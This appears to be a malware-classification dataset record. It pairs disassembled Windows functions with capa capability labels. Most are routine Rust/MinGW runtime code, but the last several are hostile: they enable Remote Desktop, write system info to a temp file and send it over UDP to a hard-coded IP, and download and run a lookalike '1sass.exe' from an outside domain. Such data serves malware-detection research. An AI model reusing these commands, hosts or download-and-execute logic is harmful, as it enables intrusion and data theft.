joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e1010
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rdi, rcx
mov esi, dword [0x1401240d0]
test esi, esi
je 0x1400e10e2
dec esi
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
ja 0x1400e10d9
je 0x1400e105d
test rdi, rdi
je 0x1400e1061
mov rbx, qword [rdi]
mov qword [rdi], 0
test rbx, rbx
je 0x1400e1063
mov rbx, qword [rdi + 8]
jmp 0x1400e1063
xor eax, eax
jmp 0x1400e10d9
xor ebx, ebx
mov qword [rbp - 8], rbx
mov dword [rbp], esi
mov rax, qword [str.1__]
movzx eax, byte [rax]
mov ecx, 0x10
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400e1103
mov qword [rax], rbx
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.kernel32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call fcn.1401216ec
test rdi, rdi
je 0x1400e10d6
mov rax, qword [rdi]
test rax, rax
je 0x1400e10c3
lock dec qword [rax]
jne 0x1400e10c3
mov rcx, rdi
call sym.alloc::sync::Arc_T_A_::drop_slow::hcef4d9ea6db501ca
mov edx, 0x10
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, sym.std::sys::thread_local::os::destroy_value::haa3306ec31336e60
call sym.std::sys::thread_local::key::windows::LazyKey::init::h597144e332ffcf99
mov esi, eax
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
jbe 0x1400e1041
jmp 0x1400e10d9
mov ecx, 8
mov edx, 0x10
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
ud2

Function at 0x1400e1140
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rdi, rcx
mov esi, dword [0x140124110]
test esi, esi
je 0x1400e11f1
dec esi
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
ja 0x1400e11e8
je 0x1400e1189
test rdi, rdi
je 0x1400e118d
mov rbx, qword [rdi]
mov qword [rdi], 0
test rbx, rbx
je 0x1400e118f
mov rbx, qword [rdi + 8]
jmp 0x1400e118f
xor eax, eax
jmp 0x1400e11e8
xor ebx, ebx
mov rax, qword [str.1__]
movzx eax, byte [rax]
mov ecx, 0x10
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400e1212
mov qword [rax], rbx
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.kernel32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call fcn.1401216ec
test rdi, rdi
je 0x1400e11e5
mov edx, 0x10
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, sym.std::sys::thread_local::os::destroy_value::hae0938d07776a6a0
call sym.std::sys::thread_local::key::windows::LazyKey::init::h597144e332ffcf99
mov esi, eax
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
jbe 0x1400e116d
jmp 0x1400e11e8
mov ecx, 8
mov edx, 0x10
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
int3
Function at 0x1400e1230
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rdi, rcx
mov esi, dword [0x140124130]
test esi, esi
je 0x1400e1302
dec esi
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
ja 0x1400e12f9
je 0x1400e127d
test rdi, rdi
je 0x1400e1281
mov rbx, qword [rdi]
mov qword [rdi], 0
test rbx, rbx
je 0x1400e1283
mov rbx, qword [rdi + 8]
jmp 0x1400e1283
xor eax, eax
jmp 0x1400e12f9
xor ebx, ebx
mov qword [rbp - 8], rbx
mov dword [rbp], esi
mov rax, qword [str.1__]
movzx eax, byte [rax]
mov ecx, 0x10
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400e1323
mov qword [rax], rbx
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.kernel32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call fcn.1401216ec
test rdi, rdi
je 0x1400e12f6
mov rax, qword [rdi]
test rax, rax
je 0x1400e12e3
lock dec qword [rax]
jne 0x1400e12e3
mov rcx, rdi
call sym.alloc::sync::Arc_T_A_::drop_slow::h2e9684c2aaf21016
mov edx, 0x10
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, sym.std::sys::thread_local::os::destroy_value::h09a9b347479260fe
call sym.std::sys::thread_local::key::windows::LazyKey::init::h597144e332ffcf99
mov esi, eax
mov ecx, esi
call sub.kernel32.dll_TlsGetValue
cmp rax, 1
jbe 0x1400e1261
jmp 0x1400e12f9
mov ecx, 8
mov edx, 0x10
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
ud2

Function at 0x1400e4a50
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
test rdx, rdx
je 0x1400e4a6a
mov r8d, edx
and r8d, 3
cmp rdx, 4
jae 0x1400e4a6e
xor eax, eax
jmp 0x1400e4ae5
xor eax, eax
pop rbp
ret
and rdx, 0xfffffffffffffffc
xor eax, eax
nop word cs:[rax + rax]
shl eax, 4
movzx r9d, byte [rcx]
add r9d, eax
mov eax, r9d
shr eax, 0x18
and eax, 0xfffffff0
xor eax, r9d
shl eax, 4
movzx r9d, byte [rcx + 1]
add r9d, eax
mov eax, r9d
shr eax, 0x18
and eax, 0xfffffff0
xor eax, r9d
shl eax, 4
movzx r9d, byte [rcx + 2]
add r9d, eax
mov eax, r9d
shr eax, 0x18
and eax, 0xfffffff0
xor eax, r9d
shl eax, 4
movzx r9d, byte [rcx + 3]
add rcx, 4
add r9d, eax
mov eax, r9d
shr eax, 0x18
and eax, 0xfffffff0
xor eax, r9d
add rdx, 0xfffffffffffffffc
jne 0x1400e4a80
test r8, r8
je 0x1400e4b0f
xor edx, edx
nop dword [rax]
shl eax, 4
movzx r9d, byte [rcx + rdx]
add r9d, eax
mov eax, r9d
shr eax, 0x18
and eax, 0xfffffff0
xor eax, r9d
inc rdx
cmp r8, rdx
jne 0x1400e4af0
and eax, 0xfffffff
pop rbp
ret
Function at 0x1400e4b20
Capabilities:
Hash data using djb2

Disassembly:
push rbp
mov rbp, rsp
test rdx, rdx
je 0x1400e4b40
mov r8d, edx
and r8d, 7
cmp rdx, 8
jae 0x1400e4b47
mov eax, 0x1505
jmp 0x1400e4bcd
mov eax, 0x1505
pop rbp
ret
and rdx, 0xfffffffffffffff8
mov eax, 0x1505
mov r9d, eax
shl r9d, 5
add r9d, eax
movzx eax, byte [rcx]
add eax, r9d
movzx r9d, byte [rcx + 1]
add r9d, eax
shl eax, 5
add r9d, eax
movzx eax, byte [rcx + 2]
add eax, r9d
shl r9d, 5
add eax, r9d
movzx r9d, byte [rcx + 3]
add r9d, eax
shl eax, 5
add r9d, eax
movzx eax, byte [rcx + 4]
add eax, r9d
shl r9d, 5
add eax, r9d
movzx r9d, byte [rcx + 5]
add r9d, eax
shl eax, 5
add r9d, eax
movzx r10d, byte [rcx + 6]
add r10d, r9d
shl r9d, 5
add r10d, r9d
movzx eax, byte [rcx + 7]
add eax, r10d
shl r10d, 5
add rcx, 8
add eax, r10d
add rdx, 0xfffffffffffffff8
jne 0x1400e4b50
test r8, r8
je 0x1400e4bf9
xor edx, edx
nop word cs:[rax + rax]
mov r9d, eax
shl r9d, 5
add r9d, eax
movzx eax, byte [rcx + rdx]
add eax, r9d
inc rdx
cmp r8, rdx
jne 0x1400e4be0
pop rbp
ret
Function at 0x1401149e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x140114a6a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140114a60
cmp r10, r11
jb 0x140114ae6
cmp r10, rdx
ja 0x140114af8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x140114a62
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140114a40
jmp 0x140114ac7
ja 0x140114a6a
mov r11, r10
cmp rax, r8
jne 0x140114a07
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x140114acb
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140114aa0
mov r8, r10
sub ecx, r9d
jns 0x140114abe
jmp 0x140114acd
cmp r10, rdx
je 0x140114ada
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140114acd
xor al, 1
cmp r8, rdx
jne 0x140114a80
jmp 0x140114acd
xor eax, eax
jmp 0x140114acd
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, [0x140248228]
call sym.core::option::unwrap_failed::h38ae581b954ce070
lea r8, [0x140248240]
mov rcx, r11
mov rdx, r10
call sym.core::slice::index::slice_index_order_fail::h786748ba81f41b02
lea r8, [0x140248240]
mov rcx, r10
call sym.core::slice::index::slice_end_index_len_fail::hdaa9bbd2fcad4cbb
int3
Function at 0x14011b340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
movzx eax, byte [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x14011b3a2
test cl, 0x20
jne 0x14011b3e4
mov r8d, eax
sar r8b, 7
mov ecx, eax
xor cl, r8b
sub cl, r8b
cmp cl, 0x64
jb 0x14011b455
add cl, cl
add cl, 0x38
movzx ecx, cl
lea r8, [0x1402475f6]
movzx ecx, word [rcx + r8]
mov word [rbp - 0x23], cx
mov r8d, 0x24
mov cl, 1
jmp 0x14011b460
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax + rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x57]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x14011b3b0
jmp 0x14011b422
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x37]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x14011b3f0
mov ecx, pe_nt_image_headers64
sub rcx, r8
cmp rcx, 0x81
jae 0x14011b4c1
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r9
lea r8, [0x1402475f2]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x14011b4b1
mov r8d, 0x26
cmp cl, 0xa
jae 0x14011b46a
or cl, 0x30
mov byte [rbp + r8 - 0x48], cl
jmp 0x14011b483
movzx ecx, cl
lea r8, [0x1402475f6]
movzx ecx, word [r8 + rcx*2]
mov word [rbp - 0x23], cx
mov r8d, 0x25
lea rcx, [r8 + rbp]
add rcx, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, r8
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rcx
not al
shr al, 7
mov r8d, 1
mov rcx, rdx
mov edx, eax
xor r9d, r9d
call sym.core::fmt::Formatter::pad_integral::h9400909576b89ecc
nop
add rsp, 0xb8
pop rsi
pop rbp
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, pe_nt_image_headers64
call sym.core::slice::index::slice_start_index_len_fail::h8d3d56967d6340e8
int3
Function at 0x140122190
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140122200
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x140272214]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x1401223b0
mov rax, qword [0x140272218]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14012224c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1401222d7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140122230
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x14012240d
mov rax, qword [0x140272218]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140272218]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1401223f2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1401222d0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140122360
add dword [0x140272214], 1
cmp ebx, 8
jae 0x140122308
test bl, 4
jne 0x1401223c0
test ebx, ebx
je 0x1401222f9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x1401223e0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1401222f9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14012233a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x140272218]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1401222d0
call qword [sym.imp.kernel32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
xor edi, edi
jmp 0x140122257
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1401222f9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1401222f9
mov rax, qword [0x140272218]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call sym.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop dword [rax]
Function at 0x140122920
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140272280]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140272260]
test rbx, rbx
je 0x140122974
mov rdi, qword [sym.imp.kernel32.dll_TlsGetValue]
mov rsi, qword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14012296b
test r12, r12
je 0x14012296b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140122950
lea rcx, [0x140272280]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140122ba0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x140122bb0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x140122bc0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140122c05
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x140122bfc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140122c07
add rax, 0x28
cmp rax, r9
jne 0x140122be8
xor eax, eax
ret

Function at 0x140122cb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140253320]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140122d29
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140122d29
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140122d26
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x140122d1d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140122d29
add r8, 0x28
cmp r8, r9
jne 0x140122d08
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140122e10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140253320]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140122e7f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140122e7f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x140122e7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140122e74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140122e88
add rax, 0x28
cmp rax, r9
jne 0x140122e60
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140122ea0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x140253320]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140122f18
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140122f18
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140122f18
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140122f18
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x140122f0c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140122f20
add rdx, 0x28
cmp rdx, r10
jne 0x140122ef8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140122f30
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x140122f3e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140122f15
test r8d, r8d
jg 0x140122f28
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x7ff6bc0415a1
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.powershell__Command__Set_ItemProperty__Path_HKLM:SystemCurrentControlSetControlTerminal_Server__Name_fDenyTSConnections__Value_0_
call sub.msvcrt.dll_system
lea rcx, str.netsh_advfirewall_firewall_set_rule_group_remote_desktop__new_enableYes
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x7ff6bc0415c8
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.powershell__Command__Get_ComputerInfo__Out_File__FilePath_C:WindowsTemp_sysinfo.txt__Encoding_ASCII_
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x7ff6bc0415e3
Capabilities:
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x5f0
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x3c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x568], rax
cmp qword [rbp + 0x568], 0xffffffffffffffff
jne 0x7ff6bc04165a
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.Socket_creation_failed:__d_n
call fcn.7ff6bc041550
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x7ff6bc041779
lea rax, [rbp + 0x3b0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov word [rbp + 0x3b0], 2
mov ecx, 0x11d7
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3b2], ax
lea rcx, str.45.55.201.188
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x3b4], eax
lea rdx, [0x7ff6bc04916c]
lea rcx, str.C:WindowsTemp_sysinfo.txt
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0
je 0x7ff6bc041750
jmp 0x7ff6bc04170d
mov rax, qword [rbp + 0x558]
mov r8d, eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x568]
mov dword [rsp + 0x28], 0x10
lea rcx, [rbp + 0x3b0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov rdx, qword [rbp + 0x560]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
jne 0x7ff6bc0416d2
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x7ff6bc04175c
lea rcx, str.Failed_to_open_log_file._n
call fcn.7ff6bc041550
mov rax, qword [rbp + 0x568]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x5f0
pop rbp
ret
Function at 0x7ff6bc041782
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsTemp1sass.exe
lea rdx, str.http:__techg1obalresearch.com_1sass.exe
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
js 0x7ff6bc0418b4
lea rcx, str.Download_successful_n
call fcn.7ff6bc041550
lea rax, [rbp - 0x90]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x90], 0x68
lea rax, [rbp - 0x20]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsTemp1sass.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x7ff6bc04189b
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x7ff6bc0418c5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_run_the_downloaded_file:__d_n
call fcn.7ff6bc041550
jmp 0x7ff6bc0418c5
mov eax, dword [rbp - 4]
mov edx, eax
lea rcx, str.Download_failed:__d_n
call fcn.7ff6bc041550
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x7ff6bc0418f5
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call fcn.7ff6bc041a80
call fcn.7ff6bc0415a1
call fcn.7ff6bc0415c8
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x7ff6bc0418cf]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x7ff6bc041972
call fcn.7ff6bc041782
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x7ff6bc041ca0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.7ff6bc047c50
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.7ff6bc047c50
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]